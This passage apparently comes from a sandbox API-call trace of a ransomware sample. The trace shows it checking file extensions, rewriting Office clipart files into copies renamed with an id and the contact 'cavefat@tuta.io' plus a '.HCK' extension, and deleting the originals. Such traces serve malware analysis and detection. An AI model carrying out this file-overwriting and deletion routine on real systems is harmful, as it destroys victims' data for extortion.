lstrlenW (lpString=".xls") returned 4 [0179.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.370] lstrlenW (lpString=".xlsx") returned 5 [0179.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.371] lstrlenW (lpString=".ppt") returned 4 [0179.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF") returned 68 [0179.371] lstrlenW (lpString=".zip") returned 4 [0179.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.371] lstrlenW (lpString=".rar") returned 4 [0179.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.371] lstrlenW (lpString=".bz2") returned 4 [0179.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.371] lstrlenW (lpString=".7z") returned 3 [0179.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF") returned 68 [0179.371] lstrlenW (lpString=".dbf") returned 4 [0179.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF") returned 68 [0179.371] lstrlenW (lpString=".1cd") returned 4 [0179.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF") returned 68 [0179.371] lstrlenW (lpString=".jpg") returned 4 [0179.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF") returned 68 [0179.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF") returned 68 [0179.371] lstrlenW (lpString=".doc") returned 4 [0179.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.371] lstrlenW (lpString=".docx") returned 5 [0179.371] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.371] lstrlenW (lpString=".pdf") returned 4 [0179.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.371] lstrlenW (lpString=".xls") returned 4 [0179.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.371] lstrlenW (lpString=".xlsx") returned 5 [0179.371] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.371] lstrlenW (lpString=".ppt") returned 4 [0179.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF") returned 68 [0179.371] lstrlenW (lpString=".zip") returned 4 [0179.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.371] lstrlenW (lpString=".rar") returned 4 [0179.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.371] lstrlenW (lpString=".bz2") returned 4 [0179.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.371] lstrlenW (lpString=".7z") returned 3 [0179.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF") returned 68 [0179.371] lstrlenW (lpString=".dbf") returned 4 [0179.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF") returned 68 [0179.372] lstrlenW (lpString=".1cd") returned 4 [0179.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF") returned 68 [0179.372] lstrlenW (lpString=".jpg") returned 4 [0179.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.372] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.372] lstrlenW (lpString="PE02522_.WMF") returned 12 [0179.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02522_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.375] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=14840) returned 1 [0179.375] CloseHandle (hObject=0x39c) returned 1 [0179.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02522_.wmf")) returned 0x220 [0179.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02522_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02522_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.382] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.382] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02522_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.385] GetLastError () returned 0x0 [0179.385] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x39f8, lpOverlapped=0x0) returned 1 [0179.387] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3a00, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3a00, lpOverlapped=0x0) returned 1 [0179.388] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.388] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.388] SetEndOfFile (hFile=0x2fc) returned 1 [0179.389] CloseHandle (hObject=0x2fc) returned 1 [0179.391] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.391] SetEndOfFile (hFile=0x368) returned 1 [0179.393] CloseHandle (hObject=0x368) returned 1 [0179.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02522_.wmf")) returned 1 [0179.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF") returned 68 [0179.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF") returned 68 [0179.397] lstrlenW (lpString=".doc") returned 4 [0179.397] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.398] lstrlenW (lpString=".docx") returned 5 [0179.398] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.398] lstrlenW (lpString=".pdf") returned 4 [0179.398] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.398] lstrlenW (lpString=".xls") returned 4 [0179.398] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.398] lstrlenW (lpString=".xlsx") returned 5 [0179.398] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.398] lstrlenW (lpString=".ppt") returned 4 [0179.398] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF") returned 68 [0179.398] lstrlenW (lpString=".zip") returned 4 [0179.398] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.398] lstrlenW (lpString=".rar") returned 4 [0179.398] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.398] lstrlenW (lpString=".bz2") returned 4 [0179.398] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.398] lstrlenW (lpString=".7z") returned 3 [0179.398] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF") returned 68 [0179.398] lstrlenW (lpString=".dbf") returned 4 [0179.398] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF") returned 68 [0179.398] lstrlenW (lpString=".1cd") returned 4 [0179.398] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF") returned 68 [0179.398] lstrlenW (lpString=".jpg") returned 4 [0179.398] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF") returned 68 [0179.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF") returned 68 [0179.398] lstrlenW (lpString=".doc") returned 4 [0179.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.398] lstrlenW (lpString=".docx") returned 5 [0179.398] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.398] lstrlenW (lpString=".pdf") returned 4 [0179.398] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.398] lstrlenW (lpString=".xls") returned 4 [0179.398] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.398] lstrlenW (lpString=".xlsx") returned 5 [0179.398] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.398] lstrlenW (lpString=".ppt") returned 4 [0179.398] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF") returned 68 [0179.398] lstrlenW (lpString=".zip") returned 4 [0179.398] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.398] lstrlenW (lpString=".rar") returned 4 [0179.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.399] lstrlenW (lpString=".bz2") returned 4 [0179.399] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.399] lstrlenW (lpString=".7z") returned 3 [0179.399] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF") returned 68 [0179.399] lstrlenW (lpString=".dbf") returned 4 [0179.399] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF") returned 68 [0179.399] lstrlenW (lpString=".1cd") returned 4 [0179.399] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF") returned 68 [0179.399] lstrlenW (lpString=".jpg") returned 4 [0179.399] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.399] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.399] lstrlenW (lpString="PE03241_.WMF") returned 12 [0179.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.403] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2228) returned 1 [0179.403] CloseHandle (hObject=0x368) returned 1 [0179.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03241_.wmf")) returned 0x220 [0179.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03241_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.409] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.409] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03241_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.412] GetLastError () returned 0x0 [0179.412] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x8b4, lpOverlapped=0x0) returned 1 [0179.413] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0179.414] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.414] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.414] SetEndOfFile (hFile=0x300) returned 1 [0179.415] CloseHandle (hObject=0x300) returned 1 [0179.416] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.416] SetEndOfFile (hFile=0x2fc) returned 1 [0179.419] CloseHandle (hObject=0x2fc) returned 1 [0179.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03241_.wmf")) returned 1 [0179.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF") returned 68 [0179.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF") returned 68 [0179.422] lstrlenW (lpString=".doc") returned 4 [0179.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.422] lstrlenW (lpString=".docx") returned 5 [0179.422] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.422] lstrlenW (lpString=".pdf") returned 4 [0179.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.422] lstrlenW (lpString=".xls") returned 4 [0179.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.422] lstrlenW (lpString=".xlsx") returned 5 [0179.422] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.422] lstrlenW (lpString=".ppt") returned 4 [0179.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF") returned 68 [0179.422] lstrlenW (lpString=".zip") returned 4 [0179.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.422] lstrlenW (lpString=".rar") returned 4 [0179.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.422] lstrlenW (lpString=".bz2") returned 4 [0179.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.422] lstrlenW (lpString=".7z") returned 3 [0179.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF") returned 68 [0179.422] lstrlenW (lpString=".dbf") returned 4 [0179.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF") returned 68 [0179.422] lstrlenW (lpString=".1cd") returned 4 [0179.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF") returned 68 [0179.422] lstrlenW (lpString=".jpg") returned 4 [0179.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF") returned 68 [0179.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF") returned 68 [0179.423] lstrlenW (lpString=".doc") returned 4 [0179.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.423] lstrlenW (lpString=".docx") returned 5 [0179.423] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.423] lstrlenW (lpString=".pdf") returned 4 [0179.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.423] lstrlenW (lpString=".xls") returned 4 [0179.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.423] lstrlenW (lpString=".xlsx") returned 5 [0179.423] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.423] lstrlenW (lpString=".ppt") returned 4 [0179.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF") returned 68 [0179.423] lstrlenW (lpString=".zip") returned 4 [0179.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.423] lstrlenW (lpString=".rar") returned 4 [0179.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.423] lstrlenW (lpString=".bz2") returned 4 [0179.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.423] lstrlenW (lpString=".7z") returned 3 [0179.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF") returned 68 [0179.423] lstrlenW (lpString=".dbf") returned 4 [0179.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF") returned 68 [0179.423] lstrlenW (lpString=".1cd") returned 4 [0179.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF") returned 68 [0179.423] lstrlenW (lpString=".jpg") returned 4 [0179.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.423] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.423] lstrlenW (lpString="PE03451_.WMF") returned 12 [0179.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03451_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.428] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=8456) returned 1 [0179.428] CloseHandle (hObject=0x300) returned 1 [0179.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03451_.wmf")) returned 0x220 [0179.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03451_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03451_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.434] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.434] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03451_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.438] GetLastError () returned 0x0 [0179.438] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2108, lpOverlapped=0x0) returned 1 [0179.441] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2110, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2110, lpOverlapped=0x0) returned 1 [0179.441] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.441] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.441] SetEndOfFile (hFile=0x300) returned 1 [0179.442] CloseHandle (hObject=0x300) returned 1 [0179.443] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.443] SetEndOfFile (hFile=0x39c) returned 1 [0179.445] CloseHandle (hObject=0x39c) returned 1 [0179.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03451_.wmf")) returned 1 [0179.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF") returned 68 [0179.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF") returned 68 [0179.451] lstrlenW (lpString=".doc") returned 4 [0179.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.451] lstrlenW (lpString=".docx") returned 5 [0179.451] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.451] lstrlenW (lpString=".pdf") returned 4 [0179.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.451] lstrlenW (lpString=".xls") returned 4 [0179.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.451] lstrlenW (lpString=".xlsx") returned 5 [0179.452] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.452] lstrlenW (lpString=".ppt") returned 4 [0179.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF") returned 68 [0179.452] lstrlenW 